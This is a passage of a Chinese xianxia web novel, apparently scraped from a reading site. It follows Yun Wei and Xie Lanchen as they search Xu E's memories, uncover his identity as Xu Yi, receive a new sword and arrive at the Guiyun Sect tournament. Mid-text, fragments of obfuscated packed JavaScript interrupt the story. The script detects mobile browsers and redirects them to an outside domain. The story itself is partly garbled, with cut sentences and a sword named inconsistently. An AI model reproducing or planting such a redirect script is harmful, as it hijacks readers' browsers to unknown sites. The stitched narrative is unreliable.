在一个陡坡后的三岔路口,因徐鄂领先太多,拐弯时身影被茂密的林木瞬间遮挡,她稍一迟疑,凭着直觉选择了左侧那条看起来似乎更平直、更近的小径。 然而,策马奔行不过半盏茶功夫,云微便察觉到不对。 四周林木越发高大浓密,遮天蔽日,光线都暗淡了几分,空气也带着深山老林特有的潮湿阴冷。 脚下的路径越来越窄,布满湿滑的青苔和厚厚的腐叶,显然人迹罕至。 至于徐鄂,更是完全消失无踪。 “吁——!”云微勒紧缰绳,“逐月”长嘶一声,前蹄扬起,稳稳停住。 她环顾四周,只见古木参天,藤蔓缠绕,几乎淹没了本就模糊的小径。 鸟鸣声稀疏,更显此地寂静。 “你跑偏了。”谢澜忱开口,难得的没有带上惯有的嘲讽。 他警惕地扫视着这陌生的、透着不祥气息的密林,“他的气息完全消失了……你打算怎么找人?” 云微没有立刻回答,她凝神感应,可徐鄂的气息确实被重重密林和遥远的距离阻隔了,如同石沉大海,捕捉不到丝毫痕迹。 常规的灵识搜索失效,时间紧迫,必须另寻他法。云微想。 她背上这柄沉甸甸的长弓是徐鄂亲手所赠,其上必然深深浸染着他日常使用、摩挲留下的气息。 若她引动自身灵识,或能循着弓身上残留的那份气息溯源。 “我有办法。”云微开口,声音冷静。 她反手将背负的长弓取下,左手紧握住坚韧的弓身,旋即闭上双眼,摒除心中一切杂念,将一缕灵识缓缓注入弓身之中。 谢澜忱看着她专注的侧脸和手中紧握的长弓,瞬间明白了她的用意。 少年心中暗忖:利用沾染气息的物品追踪?这倒是个省时省力的法子。只是…… 他瞥了一眼那柄被云微珍而重之握在手中的弓,心头那股莫名的烦躁又隐隐冒头。 她倒是镇定,换作旁人,怕是早乱了分寸。 片刻后,云微倏然睁开双眼,看向密林深处偏东南的方向。 “他的气息在那边。”云微沉声道,眼神一凛。 但那绝非疾驰赶路应有的状态。 “驾!”没有丝毫犹豫,云微一抖缰绳,“逐月”再次朝着她感应的方向疾冲而去。 深入密林不过百丈,她身下的骏马却变得焦躁不安,不断打着响鼻,马蹄在原地焦躁地踏动,任凭她和谢澜忱如何呵斥催促,就是不肯再往前踏出一步。 “有问题……”云微当机立断,翻身下马,衣袂翻飞,几个起落便隐入林间。 “云微!等等我!”谢澜忱被她这不管不顾的疾冲吓了一跳,连忙也跳下马,一边追一边忍不住低吼。 他心中又急又恼,还夹杂着一股难以言喻的酸涩:她就那么在意那个徐鄂?一察觉到不对,连句话都不留就冲进去?那他呢?他在她眼里,难道就只是个累赘不成? 这念头一起,让他胸口更觉憋闷,追赶的脚步也加快了几分。 两人在林间急速穿行,不过数十息功夫,眼前豁然开朗,出现一片被高大古木环抱的空地。 空地中央,徐鄂高大的身影矗立着,一手紧握腰间的“沉岳”,面色铁青,眼神锐利如刀,死死盯着前方。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039490|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他骑乘的那匹神骏的“燎火”,此刻却凄惨地倒在空地边缘,口鼻处不断溢出暗红的鲜血,四肢痛苦地抽搐着,发出微弱的哀鸣,显然受了极重的内伤,奄奄一息。 而与徐鄂对峙的,是七八个身着统一灰黑色劲装、手持明晃晃利刃的贼子。 他们呈半圆形散开,隐隐形成合围之势。为首一人身材异常魁梧,脸上斜贯着一条狰狞扭曲的刀疤,从左额角一直划到右嘴角。 此刻,他正抱着双臂,一脸毫不掩饰的嘲讽与戏谑,上下打量着徐鄂。 “徐懿,别来无恙啊?啧啧啧,瞧瞧你现在这副人模狗样、威风凛凛的庄主架势,装得可真像那么回事!怎么,对外恬不知耻自称‘徐鄂’,就真以为能把你爹娘那点见不得光的破事,还有你自己到底是个什么玩意儿,都忘得一干二净了?” 徐鄂眉头紧锁,沉声喝道:“你认错人了,我乃碧月山庄庄主徐鄂。尔等鼠辈,藏头露尾,在此设伏伤我坐骑,意欲何为?” “哈哈哈哈哈!”刀疤脸和身后的手下发出一阵哄笑。 “徐鄂?”刀疤脸啐了一口,脸上嘲讽更浓,“装,继续装!你以为换个名字,就能把十三年前的事抹掉了?当年要不是你爹娘拼死把你藏在地窖的暗格里,你以为你能活到今天?恐怕早就和你那短命的爹娘一起下黄泉了!怎么,现在当了几年缩头乌龟,就真以为自己是‘徐鄂’了?” 徐鄂的身体猛地一震,握着剑柄的手青筋暴起,指节捏得咯咯作响,厉声道:“你们休要在此胡言乱语,辱我父母清名,更休要污蔑于我。我徐鄂顶天立地,一生光明磊落,从不屑于行那等改名换姓、藏头露尾的龌龊之事。” “顶天立地?”刀疤脸像是听到了什么极其滑稽的事情,笑得前仰后合,“一个靠着爹娘保护才活下来的懦夫,也配说顶天立地?徐懿,别装了!你这些年对外自称徐鄂,不就是想忘记你那窝囊的出身,忘记你爹娘是怎么死的吗?怎么,如今连自己的真名都不敢认了?真是可悲又可笑!” 徐鄂默然,半晌,他冷声道:“今日,我定要割下你的舌头。” 云微藏身于一株巨大的古榕树后,屏息凝神。 这是徐鄂的记忆,眼前发生的一切,皆是早已成为过去的既定事实。无论她此刻是出手相助,还是冷眼旁观,都无法改变徐鄂的结局……贸然干预,只会暴露自身外来者的身份,引发记忆崩塌,危及三人。 刀疤脸一伙人言之凿凿,咬定眼前之人是“徐懿”,恨意滔天,源于十三年前的灭门惨案。 而徐鄂却坚称自己是徐鄂。双方态度都极其笃定,不似作伪。 莫非徐鄂真患了离魂之症?此症古籍有载,乃心神遭受无法承受之重创后所致,使人精神游离,自我认知混乱,遗忘真实身份,甚至虚构出一个全新的身份以逃避苦。 若真如此,她所认识的“徐鄂”,其真实身份,就是贼人口中的幸存者“徐懿”? “谢澜忱,你怎么看?”云微微微侧头,以极低的声音询问紧贴在她身侧的少年。 他眉头紧锁,同样压低了声音:“徐鄂此刻暴怒是真,但那份‘被污蔑’的愤慨也做不得假,他似乎真的认为自己就是徐鄂。若只是离魂忘记本名,被人点破时,更多应是茫然而非如此激烈的否认。” 就在少年话音落下的瞬间,场中异变陡生。 21.真相大白 刀疤脸狞笑着,猛地从怀中掏出一个巴掌大小的黑色木盒。 那东西与牵魂引的邪气如出一辙,甚至更为污浊凶戾。 他们本就陷在徐鄂的记忆里,若能自由翻检各时片段,寻关键之处,岂不省事? 可记忆乱流最耗灵力,她这残躯撑不住这般折腾。 云微眉尖微蹙,眸中却无半分波澜,只淡淡看向身侧少年。 “谢澜忱。”云微开口,贴近了身旁的少年。 少年心头猛地一跳:“你要做什么?” “借你灵力一用。”她既开口,便不再迟疑,身形微倾,额头已轻轻贴上他的额间。 一股清寒之气自谢澜忱身上漫来,混着少年人特有的温热。 他身子一僵,似是吃了一惊,气息都乱了几分。 云微淡淡敷衍道:“神魂相触最是直接,旁的俗礼,不必计较。” 少年身上的灵力自额间涌来,与她相融。 周遭光影陡暗。 云微指尖并作剑形,轻轻一划,徐鄂那些散落的记忆,霎时化作无数流萤微光,点点闪闪,绕着两人周身飞旋。 这微光里有少年执剑的英气,有檐下听雨的闲愁,更有烈火焚家时的惨厉。 云微凝眸望去,神色依旧平平。 这么多记忆,总得好好理一理。 光影展开,是一间简陋却整洁的农家小院。 徐鄂正小心翼翼地将一只从树上跌落、摔伤了翅膀的雏鸟捧在掌心,用捣碎的草药敷在伤口上,再用干净的细布条仔细包扎。 旁边一个憨厚的大汉挠着头笑:“庄主,您这手艺,将来开个医馆都成!” 另一道微光被云微指尖点中。 光影漫开,正是碧月山庄的锻剑工坊,炉火熊熊腾跃,将四壁映得一片赤红。 徐鄂赤着上身,古铜色的皮肤上汗水淋漓,正全神贯注地捶打一柄即将成型的剑胚,火星四溅。 福伯递过汗巾,笑着打趣:“庄主这般卖力,莫不是想给心上人锻剑?”徐鄂动作一顿,重锤悬在半空,铁砧余震嗡嗡作响。炉火正燎着他侧脸,竟烧得两颊泛红:“阿云剑术超绝,寻常兵刃配不上她。” 阿云? 谢澜忱指尖在袖中暗暗掐了下掌心,那点锐痛让他混沌的心绪清明了些。 他望着徐鄂,唇角勾起抹极淡的弧度,眼底却没半分笑意,反倒像结了层霜。 她竟也有被人这般惦记的时候。 他不动声色地往云微身边靠了靠,几乎要贴上她的衣袖,鼻息间全是她身上那股冷冽的气息。 见她仍是那副无动于衷的样子,连睫毛都没颤一下,心底竟悄悄漫起一丝不易察觉的窃喜。 他怎么了?这段记忆有什么问题吗?徐鄂锻剑赠人,与他谢澜忱何干?云微不明所以。 但这念头只是一闪而过,她指尖微动,点向另一片微光。 福伯说过,徐懿六岁那年,性情大变。 关键就在那里。 光影流转,瞬间将两人彻底吞没。 视线剧烈晃动,这是一个孩童惊恐绝望的视角。 刺鼻的浓烟呛得人睁不开眼,雕花的门板在视野里剧烈震颤,发出“砰砰砰!”的沉重撞击声。 “阿懿!快走!”男人染血的脸在门缝外一闪而过。 他是谁?他口中的“阿懿”是徐懿吗?云微愣了愣,试图理清这混乱的关系。 念头未落,一个女人踉跄蹲在自己面前,带着哭腔道:“阿懿!听娘的话!跟福伯走!去密道!” 一块温润的、带着女人体温的月牙形玉佩被猛地塞进手里。 这人…竟是徐鄂的母亲。 女人猛地转身,用单薄的身躯死死抵住那扇摇摇欲坠的门。 “噗嗤——!” 一截染血的、冰冷的剑尖,突兀地从她纤弱的胸膛穿透出来,鲜血瞬间染红了她的衣襟。 她身体剧震,发出一声压抑的闷哼,那双眼睛瞪得极大。 她死死咬住下唇,甚至用双手抓住了穿透胸口的剑刃,将自己的身体更牢固地“钉”在门上,用血肉之躯堵住了那道门。 “娘!” 福伯涕泪横流,死死抱住怀里挣扎哭喊的孩童,踉跄着冲向角落一处隐蔽的入口。 “轰——!” 烈焰冲天而起,浓烟、烈火、呛人的焦糊味瞬间吞噬了一切。 视野里最后定格的画面,是洞开的大门处,他的父母和几个忠心仆从的尸体,以各种扭曲的姿势堆叠在一起。 他们用自己的身体,为身后的孩子争取了那最后的、微不足道的几息时间。 “爹——!娘——!” 他挣扎着想扑向那堵由亲人尸体筑成的“门”,却被身后扑上来的福伯死死抱住,拖入密道。 浓烟滚滚,烈焰灼身。 孩童蜷缩在福伯怀里,意识被黑暗和窒息彻底淹没,唯有手中紧紧攥着的那枚月牙玉佩,在无人察觉的角落,散发出微弱的光芒,悄然护住了他最后一线生机,抵御着致命的浓烟和高温,苦苦支撑。 谢澜忱忽然低声开口,打破了这片死寂:“那个玉佩,不简单。” 的确。云微想。 那个月牙玉佩,是太阴锁。 她曾在归云宗的典籍中瞥见过只言片语的记载:太阴锁月,少阳续命。这传说中的神器,会以消耗佩戴者至亲血脉的魂魄为代价,强行锁住佩戴者一缕生机不灭。 难怪他能活下来。 此时,南宫雅急切的声音在两人识海中传来: “云微!我刚刚偷听到山庄两个管事在库房门口嘀咕!一个说:‘庄主也真是,顶着徐鄂的名字当挡箭牌这么多年,啥时候才能用回自己真正的名字啊?’另一个叹气:‘唉,谁说不是呢。现在外面谁不知道咱碧月山庄的庄主叫徐鄂?我看庄主自己都快忘了……’” “还有!徐懿好像要醒了!” 云微和谢澜忱瞬间对视一眼。 “引魂归位。”她当机立断,意念卷动,带着南宫雅与谢澜忱抽离出这片记忆。 同一时间,石室内。 原本倒在地上的徐鄂骤然睁开了眼。 他痛苦地闷哼一声冷汗瞬间浸透了单薄的衣衫,脸色惨白。 “庄主!”一直守在旁边的福伯老泪纵横,惊呼着就要扑上去。 “别动他。”谢澜忱冰冷的声音响起。 他比云微的意识回归稍快一线,此刻已睁开眼,玄色的衣袖一拂,拦住了扑过去的福伯。 “他神魂初定,受不得惊扰。”少年紧盯着地上冷汗涔涔的徐懿,防备着他身上可能残留的牵魂引异动。 南宫雅惊魂未定,立刻看向刚刚睁开眼、脸色同样有些苍白的云微:“怎么样?你们发现什么了?” 云微闭了闭眼,压下脑中残留的眩晕感和识海中翻腾的惨烈景象。 “徐懿,”她重新睁开眼,声音平平,“你该坦诚一些了。” 男人涣散的眼神在听到这个名字的瞬间骤然聚焦。 他缓缓坐起身,对上云微那双仿佛洞悉一切的眼睛,又看向旁边神情戒备的谢澜忱和满脸焦急的南宫雅,最后目光落在老泪纵横的福伯身上。 “呵…呵呵…”他低低地笑了起来,笑声干涩沙哑,带着无尽悲凉。 他抬手,用指节分明、此刻却微微颤抖的手指,用力抹去额角的冷汗。 “你们…都看到了?”徐懿声音嘶哑地问,目光扫过云微等人。 “是,我是徐懿。徐鄂…根本不存在。”他顿了顿,每一个字都像是从齿缝里艰难挤出。 石室内一片死寂。 “太阴锁锁住了我的命,却也锁死了我。”徐懿的声音低了下去,“我本就浑浑噩噩撑着,偏又被人下了那牵魂引,两种邪祟搅在一处,脑子里的事早就成了团烂麻。” “至于我为什么跳崖…就当是我恨那些毁了我家的仇人,恨这该死的命运,恨我自己,更恨这条捡来的命,怎么折腾都死不了。”说罢,他抬眼时,眸子里竟闪过一丝近乎癫狂的亮。 恨?这世间最无用的便是恨。云微想。 真若恨到极致,该提剑去杀,而非跳崖。 他或许还疯着,或许是借疯意说些什么。但这些都与她无关。 她只清楚一点:此刻,唯有他能帮她。 云微面上依旧是惯常的清冷,她缓缓开口,语气平静:“孤鸿剑乃我本命之器,我需你助我,重铸孤鸿。” 徐懿的手微微一颤,眼中翻涌着复杂的情绪。 他挣扎着站起身,虽然脚步虚浮,但腰背却挺直了。 “重铸孤鸿…需要引动地脉真火,剔除旧痕,重锻剑骨,至少需要十日。”他声音沙哑,却异常清晰,“但…锻一柄新剑,无需如此之久。” “我知你爱剑如命,更知孤鸿剑随你出生入死,几不可替代。但我想…若有一日,你需一柄全新的、足以承载你全部剑意锋芒的剑时……”徐懿的声音低了下去,他走向石室角落一个不起眼的书架,手指在几处隐秘的机括上快速拂过。 “咔哒”一声轻响,书架无声地向侧滑开,露出后面墙壁上一个暗格。 徐懿从中取出一个狭长的、由千年阴沉木制成的剑匣。 匣身古朴,散发着淡淡的寒气。 他捧着剑匣,走回云微面前,郑重地将其打开。 匣内,一柄长剑静静躺在深蓝色的冰蚕丝绒上。 剑长三尺三寸,剑鞘通体呈现一种深邃内敛的玄青色,非金非玉,触手温凉,鞘身无任何繁复纹饰,唯有靠近吞口处,以极其精湛的阴刻工艺,镂刻着一道简约却凌厉的流云纹路,云纹末端,几颗细小的星辰点缀其中。 徐懿开口道:“此剑,名为‘初辰’。” 初辰。 破晓第一缕星光么? 她指尖微顿,眸光在剑身上流转。 这剑如晨光初生,能破长夜,那她这缕残魂,想必也能寻得一丝破晓的契机吧。 她伸出手,指尖轻轻拂过冰凉的玄青剑鞘,触感微凉。 她抬起眼,看向徐懿,那双总是清冷的眸子里,此刻翻涌着极其复杂的情绪:“多谢,徐懿。” 男人几不可察地僵了一下。他垂下眼帘,避开了云微的目光,手指无意识地摩挲着腰间那枚冰冷的月牙玉佩。 良久,他才抬起眼,望向石室紧闭的门扉,仿佛能穿透厚重的石壁看到外面沉沉的暮色。他嘴角牵起一个极淡、极苦的弧度,轻声道: “不必谢我,云姑娘。” * 十日后,子时。 徐懿的身影出现在庭院内。 他换了一身干净的深蓝色锦袍,脸色依旧带着大病初愈后的苍白,但眼神却比之前清亮了许多。 他双手郑重地捧着一柄连鞘长剑,缓步向站在庭院内的三人走来。 那剑鞘古朴沉凝,正是陪伴云微征战多年、曾饮尽妖魔之血的孤鸿剑。 谢澜忱的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唔!”她脸色瞬间变得煞白如纸,额头渗出细密的冷汗,身体晃了晃,一手死死地捂住了心口的位置,仿佛正承受着巨大的痛苦,呼吸也变得急促而紊乱。 “南宫!”云微脸色一变,瞬间放开孤鸿剑,一步跨到南宫雅身边,伸手扶住她摇摇欲坠的身体。指尖迅速搭上她的腕脉,一股精纯却带着寒意的灵力小心翼翼地探入。 反噬?云微心头一沉。 万毒谷铁律,谷主终生不得出谷,违者必遭谷中秘传禁制的反噬,灵力紊乱,心脉枯竭。 而南宫雅为了她,却不惜以身犯险,承受这五衰之苦。 “阿雅!凝神!气守丹田!”云微急声道,扶住南宫雅的手微微用力,灵力引导着南宫雅体内乱窜的气息缓缓归位。 谢澜忱握着孤鸿剑,看着南宫雅痛苦的模样和云微专注施救的侧脸,眉头紧锁。 他虽不通医理,却也看得出南宫雅情况不妙。 这反噬之力,比他预想的还要凶险。 “徐庄主,”谢澜忱转向徐懿,声音低沉,“贵庄可有静室?她需立即调息。” 徐懿立刻点头:“有!福伯,快带路!引南宫姑娘去医馆!” 福伯连忙应声,上前欲扶南宫雅。 南宫雅在云微的灵力疏导下,痛苦稍缓,脸色依旧苍白,却强撑着摇头:“不…不用管我…”她喘息着,看向云微,眼中满是焦急,“你…你忘了自己要回归云宗参加宗门大比了吗?错过报名…你就进不了山门了!” 宗门大比。 那是归云宗三年一度的宗门盛典,天下英才汇聚,更是她重返归云宗、讨回血债的唯一机会。 云微扶着南宫雅的手微微收紧。 谢澜忱眸色一沉,再无半分犹豫。南宫雅这般,只会乱了云微的心神,耽误她回归云宗的时机。 他反手将孤鸿剑归鞘,快步上前与福伯一左一右扶住南宫雅,声音冷硬:“先去医馆。” 庭院内只剩云微与徐懿两人。 云微的目光在他脸上停了停。眉骨、下颌的轮廓,依稀能看出几分徐鄂的模样,可那双眼睛,空得像蒙了层灰的湖面,半点没有昔日的锐光,倒像是被什么东西磨去了所有棱角。 她收回目光,语气淡得像说一件无关紧要的事:“徐庄主安心静养便是,旁的不必挂心。你为了去那疤,想来也受了不少罪。” 他左眉骨那道疤淡得几乎看不见,只余浅浅一道印子,寻常人瞧不出什么,可她入住这庭院几日,夜里偶闻异响,便无意瞥见书房内的徐懿反复摩挲着眉骨,桌上还摆着些黑褐色的药渣,带着焦糊的气味。 这些手段,原也瞒不过细心人。 云微眼帘微垂,掩去眸中一闪而过的了然。他既不愿明说,她便也不必点破。左右不过是故友的旧事,与她要走的路,无甚相干。 徐懿张了张嘴,无数话语涌到嘴边,关于他那未曾说出口的遗憾,关于前路的凶险与归云宗的深不可测,末了,却只化作一句干涩的、带着无尽复杂情绪的询问: “你…究竟要做什么?” 他们总问她要做什么。 问的人或许是真的关心,或许只是好奇,又或许,是怕她真的掀起什么风浪,但这些都不重要了。 她抬手,初辰在风里闪了闪,剑尖稳稳指向归云宗的方向。 她鼻尖轻笑,吐出两个字来: “弑父。” 22.膝枕 碧月山庄提供的马车宽敞舒适,由两匹神骏的黑鬃马拉动,行驶在蜿蜒的山道上,速度不慢却异常平稳。 云微靠窗坐着,新得的“断尘”剑横放于膝上,剑鞘玄黑,触手冰凉。 她目光沉静地望着窗外飞速倒退的苍翠山色。 疲惫感如同无声的潮水,一波波涌上她的四肢百骸。 碧月山庄这一遭,斩杀恶灵徐懿,助南宫雅压制反噬……桩桩件件,都在透支着她的残魂。 她需要重新凝聚被父亲谢青峰那一剑斩碎、又被孤鸿剑强行聚拢的修为根基。 归云宗大比之期近在眼前,那是她唯一能光明正大踏入山门,接近那个亲手诛杀她的父亲的契机。 “在想什么?”谢澜忱的声音打破了车厢的沉寂。他坐在对面,手里把玩着归云宗的玉符,目光却落在云微略显苍白的脸上。 云微眼睫微垂,敷衍道:“梳理碧月山庄的事。” 少年神色一滞,钴蓝色的眼眸紧盯着她,紧接着问道:“徐懿最后那句话,你听到了?” “听到了。”她回答得极其干脆。 少年眉峰一挑:“那你怎么想?徐鄂对你倒是情深义重,为你锻造‘断尘’,藏剑四年,这份心思,傻子都看得出来。你真的……对他无意?” 云微薄唇微动,声音清冷,不带丝毫犹豫:“我生来所求,便非儿女情长,而是剑道之巅。我收下‘断尘’,只因它是一柄能助我前行的利剑,而非寄托情思的信物。至于徐鄂……” 她顿了顿,目光投向窗外飞逝的流云,“徐鄂很好,但他终归只是我漫长人生路上,一个曾予我帮助的过客,仅此而已。” 少年沉默片刻,忽然话锋一转,像是在掩饰刚才那一瞬间的失神,又像是在发泄某种莫名的郁气:“你明知寒潭有诈,为何要让我去探?若我真被潭底的凶兽吃了,你岂不少了个‘宿敌’?还是说……你觉得凭你的实力,随时能救下我,所以拿我当诱饵也无妨?” 云微眉头微不可察地蹙了一下。 她知道寒潭有危险,但也清晰判断出以谢澜忱的实力,足以应对。 她当时只想试探徐懿的反应,引出他的破绽。至于谢澜忱的安危,她确有把握掌控全局。 “你有自保的能力。”云微的声音依旧平淡,如同陈述一个简单的事实,“若你连那点危险都应付不了,也不配做我的宿敌。”话语直接,不留情面。 “你!”谢澜忱指尖猛地攥紧了袖角,指节因用力而泛白,显露出内心的剧烈翻腾。一股无名火直冲顶门,却又被她那理所当然的语气堵得无处发泄。 末了,他只是发出一声冰冷的冷哼,猛地扭过头去看向窗外飞速倒退的景色,下颌线绷得紧紧的,不再言语。 云微见他终于安静下来,眼帘微阖,将眸底一闪而过的无奈与更深沉的疲惫敛去,只留一片沉寂。 那股源自残魂深处的虚弱感更加汹涌地袭来,如同无数细密的针扎在神魂之上,让她连维持清醒都感到吃力。 她重新闭上双眼,将意识沉入体内,努力运转着自身那并不稳固的灵力,试图安抚那躁动不安的残魂,对抗着阵阵袭来的眩晕与黑暗。 * 夜色渐深,马车在一处僻静的林地旁停下。 车夫是个沉默寡言的中年汉子,恭敬地对车厢内低声道:“公子,姑娘,马匹需歇息饮水,我们在此暂歇片刻。” 谢澜忱率先跳下马车,玄色的衣袍在夜风中猎猎作响。 他活动了一下有些僵硬的筋骨,深秋的夜风带着刺骨的寒意,吹得他发丝微扬。 他抿了抿唇,一言不发地走到不远处,动作利落地捡拾了一些干燥的枯枝,在空地生起了一小堆篝火。 云微感觉到马车停下,也缓缓睁开眼。眩晕感稍减,但四肢依旧沉重。 她下了车,走到那堆跳跃的篝火旁,背靠着树干坐了下来。 自碧月山庄几番动手,残魂本就虚浮不稳,又为南宫雅渡了本源灵力,此刻稍遇夜寒便觉刺骨侵髓。 云微垂下头,目光落在自己右手上。 掌心那道伤口已过了数日,本该收口结痂,偏因残魂虚弱,气血不继,此刻仍有淡淡的血痕沁出,在素布上洇开一点暗红。 她只淡淡瞥了一眼,便移开目光,仿佛那点血渍不过是沾上的泥尘,不值一提。 距离归云宗大比的日子越来越近,时间紧迫如弦上之箭。 宗门大比,规矩森严。 先由长老择优选取百廿八名强者,入幻阵历劫。阵中幻境千重,唯心志坚韧、实力卓绝者能破,幸存者六十四人方得晋级。 次轮擂台,六十四人抽签对垒,胜者留,败者去,刀剑无眼,余三十二人。 季轮则两两结队,同进共退,较的是生死相托的默契与临危不乱的应变,终余一十六人。 末轮闯“问心路”,道上心魔潜伏,幻象丛生,能登顶者,历来不过寥寥三人。 以她现在的状态,残魂不稳,灵力根基虽在重铸但远未恢复昔日巅峰十之一二,因此并无十足把握能一路战而胜之,尤其是那考验心志的“问心路”。 云微闭上眼,摒弃杂念,开始尝试更专注地引动天地间稀薄的灵气,温养自己脆弱的残魂。 少年坐在火堆的另一边,隔着跳跃的火焰看着云微。 篝火在她清冷的脸上投下明明暗暗的光影,更显得她脸色苍白,眉宇间带着挥之不去的倦色。 他自然能猜到她在想什么,无非是宗门大比,是复仇。 一股莫名的烦躁涌上心头,他讨厌看到她这副强撑的样子,仿佛下一刻就会倒下,更讨厌自己不受控制的去担忧她。 “喂,”他忽然开口,声音在寂静的夜里显得有些突兀,“不就是个宗门大比?以你云微的本事,就算只剩一缕残魂,收拾那些徒有虚名之辈也绰绰有余。你父……宗主他能伤你,不过是仗着你对他全无防备,偷袭得手罢了。”这话半是陈述他认定的事实,半是极其拙劣生硬的安慰,连他自己说出来都觉得别扭。 云微心想:这话说得倒是实在,只是从他嘴里说出来,怎么听都带着刺。 她没有睁眼,只是从鼻腔里淡淡地“嗯”了一声,算是回应。 少年的话生硬无比,但她奇异地听出了其中那点别扭的、试图掩饰的关切。 这感觉有些陌生。 谢澜忱见她反应如此平淡,有些无趣地用树枝拨弄了一下火堆,火星噼啪炸响,飞溅开来。 他沉默了一会儿,目光盯着跳跃的火苗,像是被某种冲动驱使,又闷闷地问道:“报完仇之后呢?你真的……不能留在归云宗吗?”问出这话时,他自己都觉得有些奇怪,甚至有些莫名的懊恼。 她留不留在归云宗,关他什么事?他们之间,除了宿怨和同生契,还有什么? 云微缓缓睁开眼。 报完仇之后? 这个问题,在她被父亲一剑穿心、残魂寄于孤鸿后,似乎变得遥不可及。 如今重获躯壳,前路依然凶险莫测,强敌环伺,谈“之后”似乎太过奢侈,也太过天真。 云微如实回答:“不知道。” “天下之大,剑道无涯。我或许会找一个清净无扰之地,潜心修炼,追求剑道极境;或许会仗剑天涯,四处游历;又或许……”她顿了顿,眸中闪过一丝茫然。 大仇未报,血债未偿,谈论归宿,为时过早。 唯一清晰的,是她不会停下脚步,不会为任何人任何事长久停留,直到尘埃落定,直到讨回那穿心一剑的公道。 “我去周围看看。”少年像是被她的回答烫到,又像是被自己刚才的问题窘迫到,猛地站起身,语气生硬地 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引入眼帘的并非是树干或跳跃的篝火,而是一双正低垂着凝视她的钴蓝色眼睛。那双平日里总是带着讥诮或冰冷的眸子,此刻在摇曳的火光映照下,竟显得异常专注,里面清晰地映出她带着些许刚醒茫然的面容。 谢澜忱? 云微心中一惊,立刻坐起身来。 这一动,她才惊觉自己刚才并非靠着树干,而是……枕在谢澜忱的腿上? 少年似乎没料到她会醒得这么突然,被她猛地起身的动作带得身体微微后仰了一下,脸上飞快地掠过一丝不自在。 云微抬手按了按隐隐作痛的头,语气已复归清冷:“怎么回事?” 她目光锐利地扫过谢澜忱,又看向远处背对着这边、恨不得缩进马车里的车夫。 谢澜忱被她清冷的目光一刺,没好气地解释道:“瞪我做什么?你以为我想让你枕着?我去周围巡视了一圈,顺便用玉符联系了宗主,告诉他我处理了碧月山庄的事,不日便返。” 他顿了顿,眸色沉沉,似乎在权衡什么,末了才低低道,声音带着一丝不易察觉的紧绷:“宗主说要派御风驹来接,被我拦下了。” 云微紧绷的心弦微微一松,眸中那点凝着的冷意淡了些许。 少年性子别扭,行事亦正亦邪,却绝非自寻死路之辈。他若向谢青峰透露她的踪迹,无异于把自己也推入了火坑。 谢青峰既容不下她这个“魔头”,又岂会留着一个窝藏叛党、知情不报的义子?以那人心性,必是宁可错杀一千,不肯放过一个。 谢澜忱断不会做这种引火烧身的蠢事。他嘴上不说,心里比谁都清楚,保她踪迹隐秘,便是保他自己的性命与地位。 云微想着,指尖无意识地摩挲着袖角,面上依旧平静无波。这份心照不宣的利害捆绑,远比任何情谊来得牢固。 她目光不经意间扫过自己的右手,原本渗出血迹的素布此刻已换上了新的。 包扎的手法虽算不上精妙,却明显比之前更仔细妥帖。 她心头微动,目光再次落回谢澜忱脸上,看着他略显僵硬和躲闪的余光,答案不言而喻。 是他换的,在她昏睡之时。 “谢澜忱。”云微轻声唤道。 “嗯?”少年下意识地应了一声,随即警惕地看着她,不知她又要说什么。 “你毕竟比我小两岁,”云微的语气带上了一丝她自己都未察觉的、近乎叹息的意味,如同看待一个闹别扭的弟弟,“行为古怪点,气性大点,脾气坏点……也很正常。” 谢澜忱:…… 少年张了张嘴,想反驳“谁比你小两岁谁行为古怪了”,但看着她平静无波、甚至带着点“包容”的眼神,那反驳的话却怎么也说不出口了。 他沉默了许久,久到云微以为他不会再开口时,他才低低问道:“宗门大比,到了季轮……要组队。想来你也找不到队友,要不要……跟我一组?” 23.重返故地 归云宗山门外,青石广场上。 日头悬于中天,将青石广场晒得一片白亮。场上人头攒动,不下四五百人,皆是四方修士,为争归云宗宗门大比的魁首之位而来。 报名之处,非是露天敞亮,乃是十数座临时搭建的玄色石亭,分立广场两侧。亭壁非石非木,而是布下了隔音禁制。 每亭仅容一人进入,亭门闭合,内外音讯隔绝,亭外之人,纵是凝神细听,亦难窥探内里分毫。 此乃本次大比新立之规。入亭者需将手掌覆于亭心一块温润的“鉴真玉璧”之上,辨其根基深浅,验其是否身负魔气、妖息。 此外,执事弟子需验看身份玉符、籍贯文书,或引荐信物,一一登记造册。 若有疑窦,执事弟子可催动亭内另一法器“问心铃”,铃声清越,直透识海,问询三两句关键,以辨真伪,验明无误,方可通过。 云微静立于一列队伍之末。 素白衣裙,不染纤尘,脸上覆着一方轻薄的白色面纱,只余一双眸子,清冽明澈,不起波澜。 少年的声音仿佛又在耳边响起:“宗门大比,到了季轮……要组队。想来你也找不到队友,要不要……跟我一组?” 她当时回答得干脆利落:“不必。” 谢澜忱身为父亲义子,万众瞩目,与他同行极易暴露身份。 她清晰地记得,少年闻声时下颌骤然绷紧,眸底沉郁似水。 今晨刚到山脚,他便一言不发地下了马车,独自离开。 这样也好。云微心中毫无波澜,各自行事,减少不必要的牵连,对彼此都好。 排在她前面的两名年轻修士正低声交谈,声音不大,但足够云微听清。 “李兄,今年的宗门大比可真是麻烦!”一个穿褐色短打的修士抱怨道,“往年哪有这么繁琐?” 旁边那个被唤作李兄的蓝衫修士压低声音:“嘘,小声点。我听人说,这是宗主亲自下令改的规矩!” “啊?”褐衣修士一脸惊诧,嗓门陡然拔高,“莫非是忧心那个堕魔而死的云微借机潜入寻仇?” 